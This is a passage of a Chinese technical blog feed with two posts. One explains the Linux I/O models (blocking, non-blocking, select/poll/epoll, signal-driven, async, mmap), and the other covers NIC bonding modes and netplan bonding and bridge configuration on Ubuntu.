<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>一次完整的I/O是用户空间的进程数据与内核空间的内核数据的报完交换过程，但是由于内核空间和用户进程空间的隔离，导致数据户交换需要经历一次从内核空间的内存拷贝到用户空间的过程，而</p><p>到了网络通信就是从内核的网络协议栈将数据拷贝到用户进程空间的过程。</p><a id="more"></a><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/%E7%BD%91%E7%BB%9C%E8%AE%BF%E9%97%AE%E6%B5%81%E7%A8%8B.png" alt="网络访问流程"></p><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>首先需要理清楚概念，即阻塞与非组设、同步与异步这两套概念，这两套概念是站在不同角度考虑整个请求过程。</p><p>同步和异步关注的是消息通信机制。</p><p>同步可以理解为：调用者发出一个请求，会等待被调用者的反馈。</p><p>异步则是：调用者发出一个请求，不等待返回结果而直接返回。被调用者在处理完后（或者处理失败都认为处理结束）反馈给调用者（回调函数机制）。</p><p>阻塞与非阻塞描述的是进程等待调用结果的状态。</p><p>阻塞表示调用结果返回前该进程会一直等待（挂起），该状态下不会处理其他请求。</p><p>非阻塞表示调用者在发出调用请求后不理会是否有结果返回，而是正常处理其它事务。</p><h3 id="IO模型"><a href="#IO模型" class="headerlink" title="IO模型"></a>IO模型</h3><p>IO耗时主要体现在两个方面，一是用户空间进程等待监听的套接字数据，二是用户进程处理数据。</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/io-model.png" alt="io-model"></p><h4 id="阻塞"><a href="#阻塞" class="headerlink" title="阻塞"></a>阻塞</h4><p>用户请求到达系统服务进程，然后进程通过系统调用read向内核发起IO读操作，即将用户请求由用户空间转到内核空间，内核接收到IO请求后开始从磁盘读取文件到内核内存，即在等用户请求的文件从磁盘到达内核内存后，然后将接收的数据拷贝到用户空间，然后完成read操作。</p><p>用户请求需要等待内核将数据读取到进程内存后，处理用户的进程才可以继续处理该请求，整个IO请求的过程中，请求进程是被阻塞的，这导致进程在发起IO请求时，不能做任何事情，此时进程不占用CPU资源。此外，进程会一直轮询查看IO是否完成，完成后才会返回结果解除阻塞状态，因此这种方式较为低效。</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/blocking-io.png" alt="blocking-io"></p><h4 id="非阻塞"><a href="#非阻塞" class="headerlink" title="非阻塞"></a>非阻塞</h4><p>用户请求进程向内核发起IO请求时立即返回，但并未读取到任何数据，进程需要不断地发起IO请求，直到数据到达进程空间的内存后才真正读取到数据并继续执行，即前期需要一次次“轮询”去查看请求是否数据是否准备好。</p><p>调用recvfrom接口，无论内核缓冲区是否有可用数据，进程都会立即返回，所以在<em>IO</em>操作的第一阶段是非阻塞的; 若无数据可用，内核将errno设置为为EWOULDBLOCK或者EAGAIN，进程可以使用轮询的方法，保证内核在数据准备好时，能立即拷贝到用户空间; 若有则立即将数据拷贝到用户空间，进程在数据拷贝到用户空间即<em>IO</em>操作的第二阶段是阻塞的;</p><p>但是此机制存在两个问题：</p><p>1、如果有大量文件描述符都要等，那么就得一个一个的read，这会带来大量的Context Switch（read是系统调用，每调用一次就得在用户态和核心态切换一次）。</p><p>2、轮询的时间不好把握，这里是要猜多久之后数据才能到，等待时间设的太长，程序响应延迟就过大，但是设的太短就会造成过于频繁的重试，会大量消耗CPU时间，因此一般很少直接使用这种模型，而是在其他IO模型中使用非阻塞IO这一 特性。</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/no-blocking-io.png" alt="no-blocking-io"></p><h4 id="多路复用"><a href="#多路复用" class="headerlink" title="多路复用"></a>多路复用</h4><p>IO 多路复用就是我们说的select，poll，epoll机制，有些地方也称这种IO方式为event driven IO(事件驱动IO)。select/poll/epoll的好处就在于单个process就可以同时处理多个网络连接的IO。它的基本原理就是select，poll， epoll这个function会不断的轮询所负责的所有socket，当某个socket有数据到达了就通知用户进程。当用户进程调用了select，那么整个进程会被block，而同时kernel会“监视”所有select负责的socket，当任何一个socket中的数据准备好了，select就会返回，这个时候用户进程再调用read操作，将数据从kernel拷贝到用户进程。</p><p>调用select，等待内核数据准备，所以IO操作的第一个阶段，进程是阻塞的，不过是阻塞在多路复用系统调用上，而不是IO系统调用上; 当select返回套接字可读条件时，再调用recvfrom将数据从内核拷贝到用户空间，IO操作的第二阶段，进程是阻塞的</p><p>多路复用<em>IO</em>和阻塞IO，在IO操作的两个阶段都是阻塞的，不过多路复用IO使用了两个系统调用，而阻塞IO只使用了一个，所以在连接数不是很多的情况下，阻塞IO可能性能更佳; 多路复用IO的优势在于可以同时监控多个用于IO的文件描述符。</p><table><thead><tr><th>\</th><th>select</th><th>poll</th><th>epoll</th></tr></thead><tbody><tr><td>操作方式</td><td>遍历</td><td>遍历</td><td>回调</td></tr><tr><td>底层实现</td><td>数组</td><td>链表</td><td>hashmap</td></tr><tr><td>IO效率</td><td>线性遍历O(n)</td><td>线性遍历O(n)</td><td>回调函数O(1)</td></tr><tr><td>最大连接数</td><td>1024/2048</td><td>无上限</td><td>无上限</td></tr><tr><td>fd拷贝</td><td>每次调用都要拷贝所有fd到内核态</td><td>每次调用都要拷贝所有fd到内核态</td><td>调用epoll_ctl拷贝并保存，之后调用epoll_wait等待不拷贝</td></tr></tbody></table><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/multi-io.png" alt="multi-io"></p><h4 id="信号驱动"><a href="#信号驱动" class="headerlink" title="信号驱动"></a>信号驱动</h4><p>调用sigaction等系统调用安装信号处理函数，并立即返回，所以IO操作的第一阶段，进程是非阻塞的; 当内核数据准备好时，内核会产生一个信号，通知进程将数据从内核拷贝到用户空间，IO操作的第二阶段，进程是阻塞的</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/signal-io.png" alt="signal-io"></p><h4 id="异步"><a href="#异步" class="headerlink" title="异步"></a>异步</h4><p>相对于同步IO，异步IO不是顺序执行，用户进程进行aio_read系统调用之后（给内核传递描述字、缓冲区指针、缓冲区大小、文件偏移），告诉内核整个操作结束后通知进程，因此无论内核数据是否准备好，都会直接返回给用户进程，然后用户态进程可以去做别的事情，等到socket数据准备好了，内核直接复制数据给进程，然后从内核向进程发送通知，在IO的两个阶段进程都是非阻塞的。Linux提供了AIO库函数实现异步，但是用的很少，目前有很多开源的异步IO库，例如libevent、libev、libuv等，异步过程如下图所示</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/asyn-io.png" alt="asyn-io"></p><h3 id="通知模型"><a href="#通知模型" class="headerlink" title="通知模型"></a>通知模型</h3><p>水平触发：多次通知，需要关心数据是否取完，即数据取走之后即不再通知进程，以避免重复多次无效通知，通知效率较低。<br>边缘触发：一次通知，需要关心数据是否取走，即只通知一次怎么保证数据被进程成功取走了，以避免数据丢失， 通知效率较高</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Select：</span><br><span class="line">POSIX所规定，目前几乎在所有的平台上支持，其良好跨平台支持也是它的一个优点，本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理</span><br><span class="line">缺点</span><br><span class="line">单个进程能够监视的文件描述符的数量存在最大限制，在Linux上一般为1024，可以通过修改宏定义FD_SETSIZE，再重新编译内核实现，但是这样也会造成效率的降低。</span><br><span class="line">单个进程可监视的fd数量被限制，默认是1024，修改此值需要重新编译内核。对socket是线性扫描，即采用轮询的方法，效率较低。</span><br><span class="line">select 采取了内存拷贝方法来实现内核将 FD 消息通知给用户空间，这样一个用来存放大量fd的数据结构，这样会使得用户空间和内核空间在传递该结构时复制开销大。</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">poll：</span><br><span class="line">本质上和select没有区别，它将用户传入的数组拷贝到内核空间，然后查询每个fd对应的设备状态。其没有最大连接数的限制，原因是它是基于链表来存储的。</span><br><span class="line">大量的fd的数组被整体复制于用户态和内核地址空间之间，而不管这样的复制是不是有意义。</span><br><span class="line">poll特点是“水平触发”，如果报告了fd后，没有被处理，那么下次poll时会再次报告该fd。</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">epoll：</span><br><span class="line">在Linux 2.6内核中提出的select和poll的增强版本。</span><br><span class="line">支持水平触发LT和边缘触发ET，最大的特点在于边缘触发，它只告诉进程哪些fd刚刚变为就需态，并且只会通知一次</span><br><span class="line">使用“事件”的就绪通知方式，通过epoll_ctl注册fd，一旦该fd就绪，内核就会采用类似callback的回调机制来激活该fd，epoll_wait便可以收到通知 。</span><br><span class="line">优点:</span><br><span class="line">没有最大并发连接的限制：能打开的FD的上限远大于1024(1G的内存能监听约10万个端口)，具体查看/proc/sys/fs/file-max，此值和系统内存大小相关</span><br><span class="line">效率提升：非轮询的方式，不会随着FD数目的增加而效率下降；只有活跃可用的FD才会调用callback函数，即</span><br><span class="line">epoll最大的优点就在于它只管理“活跃”的连接，而跟连接总数无关</span><br><span class="line">内存拷贝，利用mmap(Memory Mapping)加速与内核空间的消息传递；即epoll使用mmap减少复制开销</span><br></pre></td></tr></table></figure><h3 id="MMAP"><a href="#MMAP" class="headerlink" title="MMAP"></a>MMAP</h3><p>mmap(memory mapping)系统调用使得进程之间通过映射同一个普通文件实现共享内存，普通文件被映射到进程地址空间后，进程可以像访问普通内存一样对文件进行访问。</p><p>传统数据传递方式</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/mmap-old.png" alt="mmap-old"></p><p>mmap方式</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/mmap.png" alt="mmap"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>这五种网络 I/O 模型中，越往后阻塞越少，理论上效率也是最优前四种属于同步 I/O，因为其中真正的 I/O 操作(recvfrom)将阻塞进程，只有异步 I/O 模型才与 POSIX 定义的异步 I/O 相匹配。</p><p><img src="/2020/10/17/%E5%B8%B8%E8%A7%81IO%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90/C:%5CUsers%5CFrdqy%5CDesktop%5Ccompare-io.png" alt="compare-io"></p>]]></content>
<summary type="html">
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>一次完整的I/O是用户空间的进程数据与内核空间的内核数据的报完交换过程，但是由于内核空间和用户进程空间的隔离，导致数据户交换需要经历一次从内核空间的内存拷贝到用户空间的过程，而</p>
<p>到了网络通信就是从内核的网络协议栈将数据拷贝到用户进程空间的过程。</p>
</summary>
<category term="Linux,IO模型" scheme="http://yoursite.com/tags/Linux-IO%E6%A8%A1%E5%9E%8B/"/>
</entry>
<entry>
<title>ubuntu 网卡bond</title>
<link href="http://yoursite.com/2020/10/11/ubuntu-%E7%BD%91%E5%8D%A1bond/"/>
<id>http://yoursite.com/2020/10/11/ubuntu-%E7%BD%91%E5%8D%A1bond/</id>
<published>2020-10-11T12:59:51.000Z</published>
<updated>2020-10-17T05:08:23.390Z</updated>
<content type="html"><![CDATA[<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>生产环境中一台主机会有多个网卡，有时候我们会将两个网卡进行绑定，这样当一块网卡出现故障无法工作时另一个网卡还可以正常工作，可以理解为冗余，此外bond后由于多个网卡绑定到某个IP，能够大幅度提高网络总带宽和容错能力。</p><a id="more"></a><h3 id="bond模式"><a href="#bond模式" class="headerlink" title="bond模式"></a>bond模式</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">第⼀种模式：mod=0，即：(balance-rr) Round-robin policy（平衡抡循环策略）</span><br><span class="line">特点：传输数据包顺序是依次传输（即：第1个包⾛eth0，下⼀个包就⾛eth1….⼀直循环下去，直到最后⼀个传输完</span><br><span class="line">毕），此模式提供负载平衡和容错能⼒。</span><br><span class="line">第⼆种模式：mod=1，即： (active-backup) Active-backup policy（主-备份策略）</span><br><span class="line">特点：只有⼀个设备处于活动状态，当⼀个宕掉另⼀个⻢上由备份转换为主设备。mac地址是外部可⻅得，从外⾯看</span><br><span class="line">来，bond的MAC地址是唯⼀的，以避免switch(交换机)发⽣混乱。此模式只提供了容错能⼒；由此可⻅此算法的优点</span><br><span class="line">是可以提供⾼⽹络连接的可⽤性，但是它的资源利⽤率较低，只有⼀个接⼝处于⼯作状态，在有 N 个⽹络接⼝的情况</span><br><span class="line">下，资源利⽤率为1/N。</span><br><span class="line">第三种模式：mod=2，即：(balance-xor) XOR policy（平衡策略）</span><br><span class="line">特点：基于指定的传输HASH策略传输数据包。缺省的策略是：(源MAC地址 XOR ⽬标MAC地址) % slave数量。其他</span><br><span class="line">的传输策略可以通过xmit_hash_policy选项指定，此模式提供负载平衡和容错能⼒。</span><br><span class="line">第四种模式：mod=3，即：broadcast（⼴播策略）</span><br><span class="line">特点：在每个slave接⼝上传输每个数据包，此模式提供了容错能⼒。</span><br><span class="line">第五种模式：mod=4，即：(802.3ad) IEEE 802.3adDynamic link aggregation（IEEE 802.3ad 动态链接</span><br><span class="line">聚合）</span><br><span class="line">特点：创建⼀个聚合组，它们共享同样的速率和双⼯设定。根据802.3ad规范将多个slave⼯作在同⼀个激活的聚合体</span><br><span class="line">下。</span><br><span class="line">必要条件：</span><br><span class="line">条件1：ethtool⽀持获取每个slave的速率和双⼯设定。</span><br><span class="line">条件2：switch(交换机)⽀持IEEE 802.3ad Dynamic link aggregation。</span><br><span class="line">条件3：⼤多数switch(交换机)需要经过特定配置才能⽀持802.3ad模式。</span><br><span class="line">第六种模式：mod=5，即：(balance-tlb) Adaptive transmit load balancing（适配器传输负载均衡）</span><br><span class="line">特点：不需要任何特别的switch(交换机)⽀持的通道bonding。在每个slave上根据当前的负载（根据速度计算）分</span><br><span class="line">配外出流量。如果正在接受数据的slave出故障了，另⼀个slave接管失败的slave的MAC地址。</span><br><span class="line">该模式的必要条件：</span><br><span class="line">ethtool⽀持获取每个slave的速率</span><br><span class="line">第七种模式：mod=6，即：(balance-alb) Adaptive load balancing（适配器适应性负载均衡）</span><br><span class="line">特点：该模式包含了balance-tlb模式，同时加上针对IPV4流量的接收负载均衡(receive load balance,</span><br><span class="line">rlb)，⽽且不需要任何switch(交换机)的⽀持。</span><br></pre></td></tr></table></figure><h3 id="Ubuntu"><a href="#Ubuntu" class="headerlink" title="Ubuntu"></a>Ubuntu</h3><p>ubuntu 18.04开始使用netplan来管理网络（低于18.04的版本可以通过/etc/network/interfaces来修改ip配置）。在系统安装时会询问是否启动网卡聚合，这里的选项会影响/etc/netplan/50-cloud-init.yaml的配置（该配置是系统安装时创建的）</p><p>对于netplan来说，他是一个抽象的网络配置生成器，他将不同网络工具的差异性屏蔽，即只需要配置yaml文件即可。</p><p>目前支持两种工具：networkManager和systemd-networkd。前者会自动管理所有网络设备，即只要检测到以太网设备就以DHCP模式启动该设备。后者相反，每个需要启动的谁被都需要在/etc/netplan下配置，具体配置如下所示：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># This file is generated from information provided by</span></span><br><span class="line"><span class="comment"># the datasource. Changes to it will not persist across an instance.</span></span><br><span class="line"><span class="comment"># To disablecloud-init's network configuration capabilities, write a file</span></span><br><span class="line"><span class="comment"># /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:</span></span><br><span class="line"><span class="comment"># network: {config: disabled}</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 网卡配置</span></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line"><span class="attr">version:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">renderer:</span> <span class="string">networkd</span></span><br><span class="line"><span class="attr">ethernets:</span></span><br><span class="line"><span class="attr">enp3s0f0:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[]</span><span class="comment"># 以DHCP自动获取</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">enp3s0f1:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[10.129.104.1/24]</span> <span class="comment"># 固定ip </span></span><br><span class="line"><span class="attr">gateway4:</span> <span class="number">10.129</span><span class="number">.104</span><span class="number">.1</span><span class="comment"># 网关</span></span><br><span class="line"><span class="attr">nameservers:</span> <span class="string">[8.8.8.8]</span><span class="comment"># dns服务器</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br></pre></td></tr></table></figure><h4 id="netplan命令"><a href="#netplan命令" class="headerlink" title="netplan命令"></a>netplan命令</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 以/etc/netplan配置为管理工具生成配置</span></span><br><span class="line"><span class="string">netplan</span> <span class="string">generate</span></span><br><span class="line"><span class="comment"># 应用配置生效</span></span><br><span class="line"><span class="string">netplan</span> <span class="string">apply</span></span><br></pre></td></tr></table></figure><h4 id="双网卡绑定"><a href="#双网卡绑定" class="headerlink" title="双网卡绑定"></a>双网卡绑定</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># sudo vim /etc/netplan/01-netcfg.yaml</span></span><br><span class="line"><span class="comment"># This file describes the network interfaces available on your system</span></span><br><span class="line"><span class="comment"># For more information, see netplan(5).</span></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line"><span class="attr">version:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">renderer:</span> <span class="string">networkd</span></span><br><span class="line"><span class="attr">ethernets:</span></span><br><span class="line"><span class="attr">eth0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth1:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"></span><br><span class="line"><span class="attr">bonds:</span></span><br><span class="line"><span class="attr">bond0:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth0</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth1</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[172.18.3.18/16]</span></span><br><span class="line"><span class="attr">gateway4:</span> <span class="number">172.18</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="attr">nameservers:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[223.6.6.6,223.5.5.5]</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="comment"># sudo netplan apply</span></span><br></pre></td></tr></table></figure><h4 id="双网卡绑定-桥接"><a href="#双网卡绑定-桥接" class="headerlink" title="双网卡绑定+桥接"></a>双网卡绑定+桥接</h4><p>所谓桥接就是模拟出一个新的网卡把原本要配置在真实网卡上的ip地址拿到桥接网卡上，主要用于linux虚拟化。这里的效果就是将eht0和eth1 bond，然后将bond后的网卡当作新的网卡，并且将其绑定到bridge上。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># sudo cat /etc/netplan/01-netcfg.yaml</span></span><br><span class="line"><span class="comment"># This file describes the network interfaces available on your system</span></span><br><span class="line"><span class="comment"># For more information, see netplan(5).</span></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line"><span class="attr">version:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">renderer:</span> <span class="string">networkd</span></span><br><span class="line"><span class="attr">ethernets:</span></span><br><span class="line"><span class="attr">eth0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth1:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"></span><br><span class="line"><span class="attr">bonds:</span></span><br><span class="line"><span class="attr">bond0:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth0</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth1</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="attr">bridges:</span></span><br><span class="line"><span class="attr">br0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[172.18.3.18/16]</span></span><br><span class="line"><span class="attr">gateway4:</span> <span class="number">172.18</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="attr">nameservers:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[223.6.6.6,223.5.5.5]</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">bond0</span></span><br><span class="line"><span class="comment">#reboot</span></span><br></pre></td></tr></table></figure><h4 id="多网卡绑定"><a href="#多网卡绑定" class="headerlink" title="多网卡绑定"></a>多网卡绑定</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">~#</span> <span class="string">sudo</span> <span class="string">cat</span> <span class="string">/etc/netplan/01-netcfg.yaml</span></span><br><span class="line"><span class="comment"># This file describes the network interfaces available on your system</span></span><br><span class="line"><span class="comment"># For more information, see netplan(5).</span></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line"><span class="attr">version:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">renderer:</span> <span class="string">networkd</span></span><br><span class="line"><span class="attr">ethernets:</span></span><br><span class="line"><span class="attr">eth0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth1:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth2:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth3:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">bonds:</span></span><br><span class="line"><span class="attr">bond0:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth0</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth1</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[172.18.3.18/16]</span></span><br><span class="line"><span class="attr">gateway4:</span> <span class="number">172.18</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="attr">nameservers:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[223.6.6.6,223.5.5.5]</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="attr">bond1:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth2</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth3</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[10.20.3.18/16]</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="attr">routes:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">172.20</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.2</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.8</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span 